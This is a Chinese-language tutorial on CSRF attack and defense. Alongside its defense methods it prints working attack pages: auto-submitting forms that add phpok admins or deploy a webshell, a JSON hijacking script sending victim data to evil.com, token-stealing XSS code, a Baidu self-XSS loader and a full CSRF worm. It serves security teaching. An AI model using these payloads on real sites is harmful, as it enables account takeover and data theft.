CSRF全稱Cross Site Request Forgery,即跨站點請求偽造。我們知道,攻擊時常常伴隨著各種各樣的請求,而攻擊的發生也是由各種請求造成的。
從前面這個名字里我們可以關注到兩個點:一個是“跨站點”,另一個是“偽造”。前者說明了CSRF攻擊發生時所伴隨的請求的來源,后者說明了該請求的產生方式。所謂偽造即該請求并不是用戶本身的意愿,而是由攻擊者構造,由受害者被動發出的。
CSRF的攻擊過程大致如圖:
一種攻擊方式之所以能夠存在,必然是因為它能夠達到某種特定的目的。比如:通過程序中的緩沖區溢出漏洞,我們可以嘗試控制程序的流程,使其執行任意代碼;通過網站上的SQL注入漏洞,我們可以讀取數據庫中的敏感信息,進而獲取Webshell甚至獲取服務器的控制權等等。而CSRF攻擊能夠達到的目的是使受害者發出由攻擊者偽造的請求,那么這有什么作用呢?
顯然,這種攻擊的威力和受害者的身份有著密切的聯系。說到這兒我們可以思考一下,攻擊者之所以要偽造請求由受害者發出,不正是想利用受害者的身份去達到一些目的嗎?換句話說,受害者身上有達到這個目的所必需的條件,
而這些必需的條件在Web應用中便是各種各樣的認證信息,攻擊者就是利用這些認證信息來實現其各種各樣的目的。
下面我們先看幾個攻擊場景。
(1)場景一:
在一個bbs社區里,用戶在發言的時候會發出一個這樣的GET請求:
#!html
GET /talk.php?msg=hello HTTP/1.1
Host: www.bbs.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
(空一行)
這是用戶發言內容為“hello”時發出的請求,當然,用戶在請求的同時帶上了該域下的cookie,于是攻擊者構造了下面的csrf.html頁面:
#!html
<html>
<img src=http://www.bbs.com/talk.php?msg=goodbye />
</html>
可以看到,攻擊者在自己的頁面中構造了一個發言的GET請求,然后把這個頁面放在自己的服務器上,鏈接為http://www.evil.com/csrf.html
。之后攻擊者通過某種方式誘騙受害者訪問該鏈接,如果受害者此時處于登錄狀態,就會帶上bbs.com域下含有自己認證信息的cookie訪問http://www.bbs.com/talk.php?msg=goodbye
,結果就是受害者按照攻擊者的意愿提交了一份內容為“goodbye”的發言。
有人說這有什么大不了的,好,我們再看看另一個場景下的CSRF攻擊。
(2)場景二:
在一個CMS系統的后臺,發出下面的POST請求可以執行添加管理員的操作:
#!html
POST /manage.php?act=add HTTP/1.1
Host: www.cms.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
is_admin=234mn9guqgpi3434f9r3msd8dkekwel
(空一行)
uname=test&pword=test
在這里,攻擊者構造了的csrf2.html頁面如下:
#!html
<html>
<form action="/manage.php?act=add" method="post">
<input type="text" name="uname" value="evil" />
<input type="password" name="pword" value="123456" />
</form>
<script>
document.forms[0].submit();
</script>
</html>
該頁面的鏈接為http://www.evil.com/csrf2.html
,攻擊者誘騙已經登錄后臺的網站管理員訪問該鏈接(比如通過給管理員留言等方式)會發生什么呢?當然是網站管理員根據攻擊者偽造的請求添加了一個用戶名為evil的管理員用戶。
通過這些場景我們可以看到,CSRF攻擊會根據場景的不同而危害迥異。小到誘使用戶留言,大到垂直越權進行操作。這些攻擊的請求都是跨域發出,并且至關重要的一點,都是在受害者的身份得到認證以后發生的。另外,我們在第一個場景中攻擊時并沒有使用JavaScrpit,這說明CSRF攻擊并不依賴于JavaScript。
(1)HTML CSRF攻擊:
即利用HTML元素發出GET請求(帶src屬性的HTML標簽都可以跨域發起GET請求),如:
#!html
<link href="…">
<img src="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
…
若要構造POST請求,則必須用表單提交的方式。另外,這些標簽也可以用JavaScript動態生成,如:
#!html
<script>
new Image().src = 'http://www.goal.com/…';
</script>
(2)JSON HiJacking攻擊:
為了了解這種攻擊方式,我們先看一下Web開發中一種常用的跨域獲取數據的方式:JSONP。
先說一下JSON吧,JSON是一種數據格式,主要由字典(鍵值對)和列表兩種存在形式,并且這兩種形式也可以互相嵌套,非常多的應用于數據傳輸的過程中。由于JSON的可讀性強,并且很適合JavaScript這樣的語言處理,已經取代XML格式成為主流。
JSONP(JSON with Padding)是一個非官方的協議,是Web前端的JavaScript跨域獲取數據的一種方式。我們知道,JavaScript在讀寫數據時受到同源策略的限制,不可以讀寫其他域的數據,于是大家想出了這樣一種辦法:
前端html代碼:
#!html
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function jsonpCallback(result) {
alert(result.a);
alert(result.b);
alert(result.c);
for(var i in result) {
alert(i+":"+result[i]);//循環輸出a:1,b:2,etc.
}
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
后端的php代碼:
#!php
<?php
//服務端返回JSON數據
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
$result=json_encode($arr);
//echo $_GET['callback'].'("Hello,World!")';
//echo $_GET['callback']."($result)";
//動態執行回調函數
$callback=$_GET['callback'];
echo $callback."($result)";
?>
可以看到,前端先是定義了jsonpCallback函數來處理后端返回的JSON數據,然后利用script標簽的src屬性跨域獲取數據(前面說到帶src屬性的html標簽都可以跨域),并且把剛才定義的回調函數的名稱傳遞給了后端,于是后端構造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函數調用過程返回到前端執行,達到了跨域獲取數據的目的。
一句話描述JSONP:前端定義函數卻在后端完成調用然后回到前端執行!
明白了JSONP的調用過程之后,我們可以想象這樣的場景:
當用戶通過身份認證之后,前端會通過JSONP的方式從服務端獲取該用戶的隱私數據,然后在前端進行一些處理,如個性化顯示等等。這個JSONP的調用接口如果沒有做相應的防護,就容易受到JSON HiJacking的攻擊。
就以上面講JSONP的情景為例,攻擊者可以構造以下html頁面:
#!html
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function hijack(result) {
var data = '';
for(var i in result) {
data += i + ':' + result[i];
}
new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把數據發送到攻擊者服務器上
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>
可以看到,攻擊者在頁面中構造了自己的回調函數,把獲取的數據都發送到了自己的服務器上。如果受害者在已經經過身份認證的情況下訪問了攻擊者構造的頁面,其隱私將暴露無疑。
我們用以下幾張圖來總結一下JSON HiJacking的攻擊過程:
(圖片來源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/)
前面說了CSRF的基本概念,列舉了幾個CSRF的攻擊場景,講述了幾種CSRF的攻擊方法,現在我們來簡單總結一下CSRF攻擊可能造成的危害。
CSRF能做的事情大概如下:
1)篡改目標網站上的用戶數據;
2)盜取用戶隱私數據;
3)作為其他攻擊向量的輔助攻擊手法;
4)傳播CSRF蠕蟲。
其中前兩點我們在之前的例子中已經做了比較詳細的說明,不再贅述。第三點即將其他攻擊方法與CSRF進行結合進行攻擊,接下來我們以實際的漏洞實例來說明CSRF的第三個危害。
另外,CSRF蠕蟲就是利用之前講述的各種攻擊方法,并且在攻擊代碼里添加了形成蠕蟲傳播條件的攻擊向量,這一點會在本文的最后介紹。
我們來看一下phpok的兩個CSRF漏洞如何進行最大化的利用。這兩個漏洞均來自烏云:
(1)版本4.2.100:
在phpok該版本的后臺提交如下POST請求可以添加管理員:
#!html
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…
攻擊者可以構造如下頁面:
#!html
<html>
<div style="display:none">
<form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="wooyun";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
</html>
攻擊發生之前,如圖:
管理員在登錄的情況下訪問攻擊者的頁面之后,如圖:
可以看到,成功添加了一名管理員。
攻擊到這里就結束了嗎?并沒有!攻擊者利用CSRF漏洞成功進入了后臺,他還要想辦法GetShell!
在后臺風格管理-創建模板文件的地方添加一個模板,通過抓包改包的方式繞過前端對文件類型的判斷,如圖:
把GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html
改為GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php
可以看到成功添加了.php文件:
然后在編輯文件內容為一句話木馬即可:
在此次攻擊中,攻擊者最后利用后臺添加模板處的限制不嚴格拿到了Webshell,但在此之前使攻擊者得以進入后臺的卻是CSRF漏洞,由此可以看到CSRF在這次攻擊中的重要性。
(2)還是4.2.100...
剛才我們是通過CSRF先進入后臺,然后利用后臺的其他漏洞GetShell,這次我們直接在前臺利用CSRF漏洞去GetShell怎么樣?
phpok的前臺可以上傳.zip文件,我們把木馬文件test.php壓縮為test.zip;
注冊一個賬號,進入修改資料頁面;
選擇一個正常的圖片,截獲數據,如圖:
然后修改數據,如圖:
成功上傳.zip文件,記錄下文件id號,這里是739。
在后臺的程序升級-ZIP離線包升級中的升級操作存在CSRF漏洞,演示如圖:
于是攻擊者可以構造如下頁面:
#!html
<html>
<form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
<input type="hidden" name="zipfile" value=""/>
<input type="hidden" name="file" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.zipfile.value="739";
t.file.value="739";
document.poc.submit();
</script>
</html>
管理員登錄后臺后訪問攻擊者的頁面,如圖:
可以看到我們的木馬文件已經上傳到服務器上了。
這次攻擊,我們根本沒有進入后臺,而是利用一個CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些場景下的威力之大,根本不亞于SQL注入和文件上傳這樣的漏洞。
前面我們了解了這么多有關CSRF攻擊的東西,目的是為了明白如何防御CSRF攻擊(真的是這樣嗎?...)。
要防御CSRF攻擊,我們就要牢牢抓住CSRF攻擊的幾個特點。
首先是“跨域”,我們發現CSRF攻擊的請求都是跨域的,針對這一特點,我們可以在服務端對HTTP請求頭部的Referer字段進行檢查。一般情況下,用戶提交的都是站內的請求,其Referer中的來源地址應該是站內的地址。至關重要的一點是,前端的JavaScript無法修改Referer字段,這也是這種防御方法成立的條件。
不過需要說明的是,有的時候請求并不需要跨域,比如我們后面講到的結合XSS進行攻擊的時候,有的時候甚至沒有Referer字段…,這些也是使用這種防御方法的弊病所在。
第二點是“偽造”,這也是CSRF攻擊的核心點,即偽造的請求。我們來想一下,攻擊者為什么能夠偽造請求呢?換句話說,攻擊者能夠偽造請求的條件是什么呢?縱觀之前我們偽造的所有請求,無一例外,請求中所有參數的值都是我們可以預測的,如果出現了攻擊者無法預測的參數值,那么將無法偽造請求,CSRF攻擊也不會發生。基于這一點,我們有了如下兩種防御方法:
添加驗證碼;
使用一次性token。
先看看第一種。驗證碼的核心作用是區分人和機器,而CSRF攻擊中的請求是在受害者上當的情況下由瀏覽器自動發出的,屬于機器發出的請求,攻擊者無法預知驗證碼的值,所以使用驗證碼可以很好地防御CSRF攻擊,但毫無疑問,驗證碼會一定程度地影響用戶體驗,所以我們要在安全和用戶體驗之間找到一個平衡點。
再看看第二種方法。所謂token是一段字母數字隨機值,我們可以把它理解為一個服務端幫我們填好的驗證碼!每當我們訪問該頁面時,服務端會根據時間戳、用戶ID、隨機串等因子生成一個隨機的token值并傳回到前端的表單中,當我們提交表單時,token會作為一個參數提交到服務端進行驗證。在這個請求過程中,token的值也是攻擊者無法預知的,而且由于同源策略的限制,攻擊者也無法使用JavaScript獲取其他域的token值,所以這種方法可以成功防御CSRF攻擊,也是現在用的最多的防御方式。
但是,需要注意的一點是,token的生成一定要隨機,即不能被攻擊者預測到,否則這種防御將形同虛設。另外,token如果作為GET請求的參數在url中顯示的話,很容易在Referer中泄露。還有更重要的一點:如果在同域下存在XSS漏洞,那么基于token的CSRF防御將很容易被擊破,我們后面再說。
除了“跨域”和“偽造”兩點,我們還可以注意到CSRF在攻擊時間上的特點:CSRF攻擊都是在受害者已經完成身份認證之后發生的,這是由CSRF攻擊的目的所決定的。基于這一點,我們還可以想出一些緩解CSRF攻擊的方法(注意是緩解),比如縮短Session的有效時間等等,可能一定程度上會降低CSRF攻擊的成功率。
總結一下上面的防御方法如下:
驗證Referer;
使用驗證碼;
使用CSRF token;
限制Session生命周期。
其中第四種屬于緩解類方法,就不多說了。我們看一下其他三種方法都分別存在什么弊病。
Referer最大弊病:有些請求不帶Referer;
驗證碼最大弊病:影響用戶體驗;
CSRF token最大弊病:隨機性不夠好或通過各種方式泄露,此外,在大型的服務中需要一臺token生成及校驗的專用服務器,需要更改所有表單添加的字段,有時效性的問題。
那么有沒有其它的辦法能夠有效地防御CSRF攻擊呢?xeye團隊的monyer提出了下面這樣的方法:
原理與token差不多:當表單提交時,用JavaScript在本域添加一個臨時的Cookie字段,并將過期時間設為1秒之后在提交,服務端校驗有這個字段即放行,沒有則認為是CSRF攻擊。
前面提到,token之所以可以防御CSRF,是因為攻擊者無法使用JavaScript獲取外域頁面中的token值,必須要遵守同源策略;而臨時Cookie的原理是:Cookie只能在父域和子域之間設置,也遵守同源策略,攻擊者無法設置該Cookie。
下面看一個簡單的demo,前端http://127.0.0.1:8888/test.html
:
#!html
<html>
<script>
function doit() {
var expires = new Date((new Date()).getTime()+1000);
document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
}
</script>
<form action="http://127.0.0.1:8888/test.php" name="f" id="f" onsubmit="doit();" target="if1">
<input type="button" value="normal submit" onclick="f.submit();">
<input type="button" value="with token" onclick="doit();f.submit();">
<input type="submit" value="hook submit">
</form>
<iframe src="about:blank" name="if1" id="if1"></iframe>
</html>
服務端http://127.0.0.1:8888/test.php
:
#!php
<?php
echo "<div>Cookies</div>";
var_dump($_COOKIE);
?>
前端test.html頁面中有三個按鈕:第一個是正常的表單提交;第二個是添加臨時Cookie后提交表單;第三個是以hook submit事件來添加臨時Cookie并提交。
我們來演示一下效果,test.html頁面如圖:
normal submit之后:
看到只有xampp設置的一個Cookie,試一下with token按鈕:
看到我們提交的Cookie中多出了一個名為“xeye”的Cookie,再試一下hook submit:
效果和第二個相同。
通過上面的演示,我們可以看到設置臨時Cookie的效果。
不過這種方式只適用于單域名的站點,或者安全需求不需要“當子域發生XSS隔離父域”。因為子域是可以操作父域的Cookie的(通過設置當前域為父域的方式),所以這種方法的缺點也比較明顯:這種方法無法防御由于其他子域產生的XSS所進行的表單偽造提交(注意:使用token可能也會有這樣的問題,馬上說到)。但如果對于單域站點而言,這種防御方法的安全性可能會略大于token。
對于這種防御方式的幾個小疑問:
網絡不流暢,有延遲會不會導致Cookie失效?這個顯然是不會的,因為服務端Cookie是在提交請求的header中獲得的。延時在服務端,不在客戶端,而1秒鐘足可以完成整個表單提交過程。
Cookie的生成依賴于JavaScript,相當于這個token是明文的?這是肯定的,不管采用多少種加密,只要在客戶端,就會被破解,不過不管怎樣,CSRF無法在有用戶狀態的情況下添加這個臨時Cookie字段(同源策略)。雖然通過服務端可以,但是無法將當前用戶的狀態也帶過去(即攻擊者嘗試在自己的中轉服務器上添加臨時Cookie,但是這種做法背離CSRF攻擊的目的了,因為受害者的Cookie(認證信息)不會發到攻擊者的中轉服務器上啊…順便說一句,Referer也是同樣的道理)。
如果由于某種網絡問題無法獲取Cookie呢?那么保存用戶狀態的Cookie當然也無法獲取了,用戶只能再重新提交表單才可以,這就與CSRF無關了。
由于這種防御策略還沒有被大規模使用,所以無法確定其是否真實有效。不過如果有效的話,這大概是一種最簡單的、對代碼改動最小,且對服務器壓力也最小的防御CSRF的方法。
在攻擊方法中我們詳細講解了JSON HiJacking,那么針對這種特定的CSRF攻擊方法,我們有沒有什么特定的防御方法呢?
當然有了,這里介紹兩種:
1)在返回的腳本開始部分加入“while(1);”:
當攻擊者通過JSON HiJacking的方式獲取到返回的JSON數據時,其攻擊代碼會陷入死循環中,無法將敏感信息發送到自己的服務器上,這樣就防止了信息泄露;而正常的客戶端代碼可以正確地處理返回的JSON數據,它可以先將“while(1);”去掉再正常處理。
這樣做相比較與其他方式CSRF的方法有一個突出的好處,即不依賴瀏覽器的邊界安全策略,而是在代碼級別引入保護機制。
Google的部分服務就采取了這種防御方法,具體內容可以參考下面的鏈接:
http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses
2) 使用POST表單提交的方式獲取JSON數據:
當前端可以使用XMLHttpRequest獲取JSON數據時,當然也可以使用POST表單的方式完成這項任務,這樣的話攻擊者就無法使用script標簽來獲取JSON數據(因為src屬性發出的是GET請求)。
縱觀這些CSRF的防御方法,無一不是針對CSRF攻擊成立的條件進行破壞,這也是“未知攻,焉知防”道理的體現。我們在對自己的網站進行防御的時候,要根據自己的業務場景,選擇一個最合適的防御方案。
前面我們說到了基于CSRF的攻擊,講的是在一整套攻擊中使用CSRF來達到最終目的或某個中間目的。而這里我們要說的是:如何利用CSRF的“黃金搭檔”——XSS來輔助我們完成一次CSRF攻擊。
為什么說XSS是CSRF的“黃金搭檔”呢?因為當XSS存在時,我們往往可以利用它來突破目標站點對CSRF攻擊的防護;還有一些情況,比如我們可以找到一些“SELF-XSS”,即只能跨自己,那么如果可以CSRF的話,就不僅僅能跨自己了。我們標題里說的“結合”就是指這兩種方式。
下面我們舉例說明:
1) 利用XSS竊取token之后發起CSRF攻擊
以前面0x05中的第一個例子為例,我們的目標是進入后臺。
加入添加管理員的POST請求如下(加入了token):
#!html
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…
那么我們就不能直接構造出攻擊頁面了,因為token的值我們無法預測,一般情況下我們也無法得到token的值,但我們假設,在給管理員留言的地方存在XSS漏洞,但是管理員的Cookie加了HttpOnly屬性,我們無法通過XSS直接獲取管理員的Cookie,那該怎么辦呢?我們可以把這兩個漏洞結合起來利用。
我們可以利用XSS在管理員的瀏覽器中執行下面的JavaScript代碼:
#!html
<script>
var frameObj = document.createElement("iframe");
frameObj.setAttribute("id", "add");
document.body.appendChild(frameObj);
document.getElementById("add").src = "admin.php?c=admin&f=save";
var token = document.getElementById("add").contentWindow.document.getElementById("token").value; //從iframe中的頁面中獲取token值
var xmlhttp;
if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else { // code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST", "admin.php?c=admin&f=save", true);
xmlhttp.send("id = & accont = wooyun&pass=123456&status=1&if_system=1&token=" + token); //帶上token提交添加管理員的請求
</script>
代碼很好理解,首先我們通過iframe的方式嵌入含有token的頁面,因為同域,所以我們可以對頁面中的DOM進行讀寫操作,所以順利取得token;然后我們利用AJAX的方式帶上token提交添加管理員的請求,我們依靠XSS成功突破了頁面對CSRF攻擊的防護。
2) 結合CSRF發起XSS攻擊
(實例來源:百度某站可結合CSRF及XSS劫持賬號)
在百度詞典-我的詞典處,有將生詞添加進生詞本的功能,在備注的時候沒有進行過濾,可以直接插入JavaScript代碼。
但這顯然是一個“SELF-XSS”,只能跨自己,有什么用呢?
再看看,頁面似乎沒有對CSRF做防護,那么我們是不是可以利用CSRF來觸發這個XSS,讓別人跨自己呢?
構造POST請求頁面如下:
#!html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
<form id="baidu" name="baidu" action="http://dict.baidu.com/wordlist.php" method="POST">
<input type="text" name="req" value="add" />
<input type="text" name="word" value="Wooyun" />
<input type="text" name="explain" value="<script src=http://xsserme></script>" />
<input type="submit" value="submit" />
</form>
<script>
document.baidu.submit();
</script>
</body>
</html>
誘惑受害者訪問該頁面,效果如圖:
看看生詞本:
已經成功添加了一個新單詞“Wooyun”,到我們的XSS平臺上看看備注中的JavaScript代碼有沒有執行:
代碼成功執行!
由此可以看到,如果能夠將XSS攻擊和CSRF攻擊結合起來,會產生1+1>2的效果。
說說蠕蟲。
蠕蟲有兩大特征:
1) 傳播性;
2) 惡意行為。
蠕蟲的惡意行為是由其傳播性引起的,也就是說,凡是傳播可以做的事,蠕蟲基本上都可以做,而且還可以做些和特定蠕蟲有關的事,比如我們要說的CSRF蠕蟲就可以大批量地獲取用戶的隱私信息(CSRF的危害之一嘛)。
所以,我們主要研究CSRF蠕蟲的傳播性。
CSRF蠕蟲的傳播性如何實現呢?在前面我們提到過,CSRF蠕蟲就是在CSRF的攻擊頁面中加入了蠕蟲傳播的攻擊向量。這聽上去感覺很容易,但實施起來恐怕還要多考慮一些東西。
仔細想想,在一個SNS網站上傳播CSRF蠕蟲有一個不得不考慮的問題:蠕蟲面對的是不同的用戶,而不僅僅是某一個受害者。那對于不同的用戶,其對應的請求(CSRF核心:偽造的請求嘛)會不會有些地方不一樣呢?
沒錯,在之前的CSRF攻擊中,我們的攻擊目標是某一個特定的個體。當我們可以預測其請求的所有參數之后,我們就可以發起攻擊。但是在SNS網站上傳播CSRF蠕蟲就不是這么簡單。即使每個用戶的所有請求參數都可以預測,但是對于不同的用戶,其對應的請求參數是不一樣的,我們無法像前面的攻擊那樣構造攻擊頁面,必須想辦法獲取這些標識不同用戶的數據。
方法一:利用服務端腳本獲取
在這里,我們構造的攻擊頁面不是一個簡單的.html文件了,而是一個服務端腳本,如php、asp等等。
受害者的標識信息,如用戶id等,經常出現在url中,這樣我們就可以利用服務端腳本來獲取請求的Referer中的用戶id,以此為基礎構造出html+js的攻擊頁面,在攻擊向量中添加我們服務端腳本的鏈接,以此造成蠕蟲傳播的效果。
方法二:利用JSON HiJacking技術獲取
JSON HiJacking的攻擊方法前面已經講得很詳細了,如果網站上提供了這樣的獲取數據的接口,那么利用這種技術獲取用戶的隱私信息是一個不錯的方法。
綜上所述,如果一個SNS網站上存在CSRF漏洞,并且我們有辦法獲取到用戶的標識信息,那么就滿足了CSRF蠕蟲傳播的條件,這個網站就是可蠕蟲的。
下面看一個CSRF蠕蟲實例:
這是2008年發起的一次針對譯言網(www.yeeyan.org
)的CSRF蠕蟲攻擊,攻擊者的鏈接為http://www.evilsite.com/yeeyan.asp
,服務端腳本yeeyan.asp內容如下:
<%
'auther: Xlaile
'data: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
r = Request.ServerVariables("HTTP_REFERER")
'獲取用戶的來源地址,如:http://www.yeeyan.com/space/show/hving
If InStr(r, "http://www.yeeyan.com/space/show") > 0 Then
'referer判斷,因為攻擊對象為yeeyan個人空間留言板,就是這樣的地址
Function regx(patrn, str)
Dim regEx
Dim Match
Dim Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCace = True
regEx.Global = True
Set Matches = regEx.Execute(str)
For Each Match in Matches
RetStr = RetStr & Match.Value & " | "
Next
regx = RetStr
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim i1
Dim ThisCharCode
Dim NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode < & H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1 + 1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
End
id = Mid(r,34) '獲取用戶標識ID,如:hving
furl = "http://www.yeeyan.com/space/friends/" + id '用戶好友列表鏈接是這樣的
Set http = Server.CreateObject("Microsoft.XMLHTTP") '使用這個控件
http.Open "GET",furl,False '同步,GET請求furl鏈接
http.Send '發送請求
ftext = http.ResponseText '返回請求結果,為furl鏈接對應的HTML內容
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
'正則獲取被攻擊用戶的所有好友的ID值,CSRF留言時需要這個值
farray = Split(fstr , " | ")
'下面幾句就是對獲取到的ID值進行簡單處理,然后扔進f(999)數組中
Dim f(999)
For i = 0 To UBound(farry) - 1
f(i) = Mid(farray(i),6,Len(farray(i)) - 16)
Next
Set http = Nothing
s = ""
For i = 0 To UBound(farray) - 1
s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接著循環遍歷好友列表,使用iframe發起CSRF攻擊
Next
Response.Write(s)
' Set http=Server.CreateObject("Microsoft.XMLHTTP")
' http.open "POST","http://www.yeeyan.com/groups/newTopic/",False
' c = "hello"
cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)
' http.send cc
End If
%>
其中yeeyan_iframe.asp代碼如下:
<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
'id = Request("id")
s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/' onsubmit='return false'>"
s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>
s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"
s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
%>
這段代碼只具備傳播性,屬于沒有惡意的實驗代碼。從yeeyan.asp的代碼中我們可以看到,攻擊者就是依靠Referer字段得到了譯言用戶的id值。而yeeyan_iframe.asp是構造表單的代碼,用來具體發起CSRF攻擊。當用戶登錄譯言網,并且點擊攻擊者的鏈接后,這個CSRF蠕蟲就會開始傳播。
寫到這里,我所了解的有關CSRF攻擊與防御的內容就差不多寫完了。在寫前面內容的時候,我一直在有意回避一個東西,那就是在現在的Web前端仍然占有重要地位的Flash,以及ActionScript腳本。
這里就簡單補充一下,這些東西和CSRF攻擊有什么聯系。
首先,我們必須先介紹一個文件——crossdomain.xml,次文件通常在網站的根目錄下存在,比如http://www.qq.com
網站上的crossdomain.xml文件內容如下:
https://www.baidu.com
網站上的crossdomain.xml文件內容如下:
該配置文件中的“allow-access-from domain”用來配置哪些域的Flash請求可以訪問本域的資源。如果該項值為“*”,則表示任何與的Flash都可以訪問,這是非常危險的。當存在這樣的配置時,攻擊者可以利用ActionScript腳本輕松突破同源策略的限制,如下:
#!html
import flash.net. *
//請求隱私數據所在頁面
var loader = new URLLoader(new URLRequest(http: //www.foo.com/private);
loader.addEventListener(Event.COMPLETE, function() { //當請求完成后
loader.data; //獲取到隱私數據
//更多操作
});
Loader.load(); //發起請求
當通過身份認證的受害者被誘惑訪問含有以上腳本的頁面時,其隱私將可能被攻擊者盜走。
除此之外,這種跨域獲取信息的方法還可以應用在CSRF蠕蟲之中,同樣是在2008年,飯否(www.fanfou.com
)就被基于Flash的CSRF蠕蟲攻擊,當時包含飯否CSRF蠕蟲的Flash游戲界面如下:
由于水平有限,本文寫到這里就差不多結束了,里面是我對CSRF幾乎所有的認知,包括基本概念、攻擊原理、攻擊目的、攻擊手段以及防御方法等等。需要特別說明的是,文中有許多內容來自《Web前端黑客技術解密》這本書。